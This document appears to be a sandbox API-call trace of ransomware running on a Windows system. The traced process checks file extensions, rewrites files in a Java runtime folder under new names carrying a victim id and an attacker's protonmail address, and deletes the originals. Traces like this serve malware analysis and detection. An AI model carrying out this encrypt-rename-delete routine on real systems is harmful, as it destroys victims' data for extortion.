	[0176.920] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf")) returned 1
	[0177.488] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0177.501] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0177.501] lstrlenW (lpString=".doc") returned 4
	[0177.503] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0177.503] lstrlenW (lpString=".docx") returned 5
	[0177.503] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1
	[0177.503] lstrlenW (lpString=".pdf") returned 4
	[0177.503] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0177.503] lstrlenW (lpString=".xls") returned 4
	[0177.503] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0177.503] lstrlenW (lpString=".xlsx") returned 5
	[0177.503] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1
	[0177.503] lstrlenW (lpString=".ppt") returned 4
	[0177.503] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0177.503] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0177.503] lstrlenW (lpString=".zip") returned 4
	[0177.503] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0177.503] lstrlenW (lpString=".rar") returned 4
	[0177.503] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0177.503] lstrlenW (lpString=".bz2") returned 4
	[0177.504] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0177.504] lstrlenW (lpString=".7z") returned 3
	[0177.504] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0177.504] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0177.504] lstrlenW (lpString=".dbf") returned 4
	[0177.504] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0177.504] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0177.504] lstrlenW (lpString=".1cd") returned 4
	[0177.504] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0177.504] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0177.504] lstrlenW (lpString=".jpg") returned 4
	[0177.504] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0177.504] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0177.504] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0177.504] lstrlenW (lpString=".doc") returned 4
	[0177.504] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0177.504] lstrlenW (lpString=".docx") returned 5
	[0177.504] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1
	[0177.504] lstrlenW (lpString=".pdf") returned 4
	[0177.504] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0177.504] lstrlenW (lpString=".xls") returned 4
	[0177.504] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0177.504] lstrlenW (lpString=".xlsx") returned 5
	[0177.504] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1
	[0177.504] lstrlenW (lpString=".ppt") returned 4
	[0177.504] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0177.504] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0177.504] lstrlenW (lpString=".zip") returned 4
	[0177.504] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0177.504] lstrlenW (lpString=".rar") returned 4
	[0177.504] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0177.505] lstrlenW (lpString=".bz2") returned 4
	[0177.505] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0177.505] lstrlenW (lpString=".7z") returned 3
	[0177.505] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0177.505] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0177.505] lstrlenW (lpString=".dbf") returned 4
	[0177.505] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0177.505] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0177.505] lstrlenW (lpString=".1cd") returned 4
	[0177.505] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0177.505] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0177.505] lstrlenW (lpString=".jpg") returned 4
	[0177.505] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0177.505] lstrcmpiW (lpString1=".jar", lpString2=".html") returned 1
	[0177.505] lstrlenW (lpString="jfr.jar") returned 7
	[0177.505] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0177.506] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=560581) returned 1
	[0177.506] CloseHandle (hObject=0x580) returned 1
	[0177.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar")) returned 0x20
	[0177.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0177.506] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0177.506] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.506] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.507] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0177.508] GetLastError () returned 0x0
	[0177.508] ReadFile (in: hFile=0x580, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x88dc5, lpOverlapped=0x0) returned 1
	[0177.528] WriteFile (in: hFile=0x594, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x88dd0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x88dd0, lpOverlapped=0x0) returned 1
	[0177.698] ReadFile (in: hFile=0x580, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.698] WriteFile (in: hFile=0x594, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0177.698] SetEndOfFile (hFile=0x594) returned 1
	[0177.698] CloseHandle (hObject=0x594) returned 1
	[0177.699] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.699] SetEndOfFile (hFile=0x580) returned 1
	[0177.910] CloseHandle (hObject=0x580) returned 1
	[0177.910] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0177.911] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar")) returned 1
	[0177.911] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0177.911] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0177.912] lstrlenW (lpString=".doc") returned 4
	[0177.912] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0177.912] lstrlenW (lpString=".docx") returned 5
	[0177.912] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1
	[0177.912] lstrlenW (lpString=".pdf") returned 4
	[0177.912] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0177.912] lstrlenW (lpString=".xls") returned 4
	[0177.912] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0177.912] lstrlenW (lpString=".xlsx") returned 5
	[0177.912] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1
	[0177.912] lstrlenW (lpString=".ppt") returned 4
	[0177.912] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0177.912] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0177.912] lstrlenW (lpString=".zip") returned 4
	[0177.912] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0177.912] lstrlenW (lpString=".rar") returned 4
	[0177.912] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0177.912] lstrlenW (lpString=".bz2") returned 4
	[0177.912] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0177.912] lstrlenW (lpString=".7z") returned 3
	[0177.912] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0177.912] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0177.912] lstrlenW (lpString=".dbf") returned 4
	[0177.912] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0177.912] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0177.912] lstrlenW (lpString=".1cd") returned 4
	[0177.912] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0177.912] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0177.912] lstrlenW (lpString=".jpg") returned 4
	[0177.912] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0177.912] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0177.913] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0177.913] lstrlenW (lpString=".doc") returned 4
	[0177.913] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0177.913] lstrlenW (lpString=".docx") returned 5
	[0177.913] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1
	[0177.913] lstrlenW (lpString=".pdf") returned 4
	[0177.913] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0177.913] lstrlenW (lpString=".xls") returned 4
	[0177.913] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0177.913] lstrlenW (lpString=".xlsx") returned 5
	[0177.913] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1
	[0177.913] lstrlenW (lpString=".ppt") returned 4
	[0177.913] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0177.913] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0177.913] lstrlenW (lpString=".zip") returned 4
	[0177.913] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0177.913] lstrlenW (lpString=".rar") returned 4
	[0177.913] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0177.913] lstrlenW (lpString=".bz2") returned 4
	[0177.913] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0177.913] lstrlenW (lpString=".7z") returned 3
	[0177.913] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0177.913] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0177.913] lstrlenW (lpString=".dbf") returned 4
	[0177.913] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0177.913] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0177.913] lstrlenW (lpString=".1cd") returned 4
	[0177.913] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0177.913] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46
	[0177.913] lstrlenW (lpString=".jpg") returned 4
	[0177.913] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0177.914] lstrcmpiW (lpString1=".template", lpString2=".html") returned 1
	[0177.914] lstrlenW (lpString="snmp.acl.template") returned 17
	[0177.914] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0177.915] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=3376) returned 1
	[0177.915] CloseHandle (hObject=0x580) returned 1
	[0177.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template")) returned 0x20
	[0177.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0177.915] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0177.915] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.915] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.915] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0177.916] GetLastError () returned 0x0
	[0177.916] ReadFile (in: hFile=0x580, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0xd30, lpOverlapped=0x0) returned 1
	[0177.919] WriteFile (in: hFile=0x554, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0xd40, lpOverlapped=0x0) returned 1
	[0177.920] ReadFile (in: hFile=0x580, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.920] WriteFile (in: hFile=0x554, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0177.920] SetEndOfFile (hFile=0x554) returned 1
	[0177.920] CloseHandle (hObject=0x554) returned 1
	[0177.921] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.921] SetEndOfFile (hFile=0x580) returned 1
	[0177.923] CloseHandle (hObject=0x580) returned 1
	[0177.923] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0177.923] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template")) returned 1
	[0177.924] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0177.924] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0177.924] lstrlenW (lpString=".doc") returned 4
	[0177.924] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1
	[0177.924] lstrlenW (lpString=".docx") returned 5
	[0177.924] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1
	[0177.924] lstrlenW (lpString=".pdf") returned 4
	[0177.924] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1
	[0177.924] lstrlenW (lpString=".xls") returned 4
	[0177.924] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1
	[0177.924] lstrlenW (lpString=".xlsx") returned 5
	[0177.924] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1
	[0177.924] lstrlenW (lpString=".ppt") returned 4
	[0177.924] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1
	[0177.924] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0177.924] lstrlenW (lpString=".zip") returned 4
	[0177.924] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1
	[0177.924] lstrlenW (lpString=".rar") returned 4
	[0177.924] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1
	[0177.925] lstrlenW (lpString=".bz2") returned 4
	[0177.925] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1
	[0177.925] lstrlenW (lpString=".7z") returned 3
	[0177.925] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1
	[0177.925] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0177.925] lstrlenW (lpString=".dbf") returned 4
	[0177.925] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1
	[0177.925] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0177.925] lstrlenW (lpString=".1cd") returned 4
	[0177.925] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1
	[0177.925] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0177.925] lstrlenW (lpString=".jpg") returned 4
	[0177.925] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1
	[0177.925] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0177.925] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0177.925] lstrlenW (lpString=".doc") returned 4
	[0177.925] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1
	[0177.925] lstrlenW (lpString=".docx") returned 5
	[0177.925] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1
	[0177.925] lstrlenW (lpString=".pdf") returned 4
	[0177.925] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1
	[0177.925] lstrlenW (lpString=".xls") returned 4
	[0177.925] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1
	[0177.925] lstrlenW (lpString=".xlsx") returned 5
	[0177.925] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1
	[0177.925] lstrlenW (lpString=".ppt") returned 4
	[0177.925] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1
	[0177.925] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0177.925] lstrlenW (lpString=".zip") returned 4
	[0177.925] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1
	[0177.925] lstrlenW (lpString=".rar") returned 4
	[0177.926] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1
	[0177.926] lstrlenW (lpString=".bz2") returned 4
	[0177.926] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1
	[0177.926] lstrlenW (lpString=".7z") returned 3
	[0177.926] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1
	[0177.926] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0177.926] lstrlenW (lpString=".dbf") returned 4
	[0177.926] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1
	[0177.926] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0177.926] lstrlenW (lpString=".1cd") returned 4
	[0177.926] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1
	[0177.926] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0177.926] lstrlenW (lpString=".jpg") returned 4
	[0177.926] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1
	[0177.926] lstrcmpiW (lpString1=".jar", lpString2=".html") returned 1
	[0177.926] lstrlenW (lpString="management-agent.jar") returned 20
	[0177.926] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0177.927] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=381) returned 1
	[0177.927] CloseHandle (hObject=0x580) returned 1
	[0177.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar")) returned 0x20
	[0177.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0177.927] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0177.927] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.927] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.928] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0177.929] GetLastError () returned 0x0
	[0177.929] ReadFile (in: hFile=0x580, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x17d, lpOverlapped=0x0) returned 1
	[0177.930] WriteFile (in: hFile=0x554, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x180, lpOverlapped=0x0) returned 1
	[0177.931] ReadFile (in: hFile=0x580, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.931] WriteFile (in: hFile=0x554, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0xfc, lpOverlapped=0x0) returned 1
	[0178.217] SetEndOfFile (hFile=0x554) returned 1
	[0178.228] CloseHandle (hObject=0x554) returned 1
	[0178.289] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.289] SetEndOfFile (hFile=0x580) returned 1
	[0178.597] CloseHandle (hObject=0x580) returned 1
	[0178.598] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0178.598] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar")) returned 1
	[0178.599] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0178.599] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0178.599] lstrlenW (lpString=".doc") returned 4
	[0178.599] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0178.599] lstrlenW (lpString=".docx") returned 5
	[0178.599] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1
	[0178.599] lstrlenW (lpString=".pdf") returned 4
	[0178.599] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0178.599] lstrlenW (lpString=".xls") returned 4
	[0178.599] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0178.599] lstrlenW (lpString=".xlsx") returned 5
	[0178.599] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1
	[0178.599] lstrlenW (lpString=".ppt") returned 4
	[0178.599] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
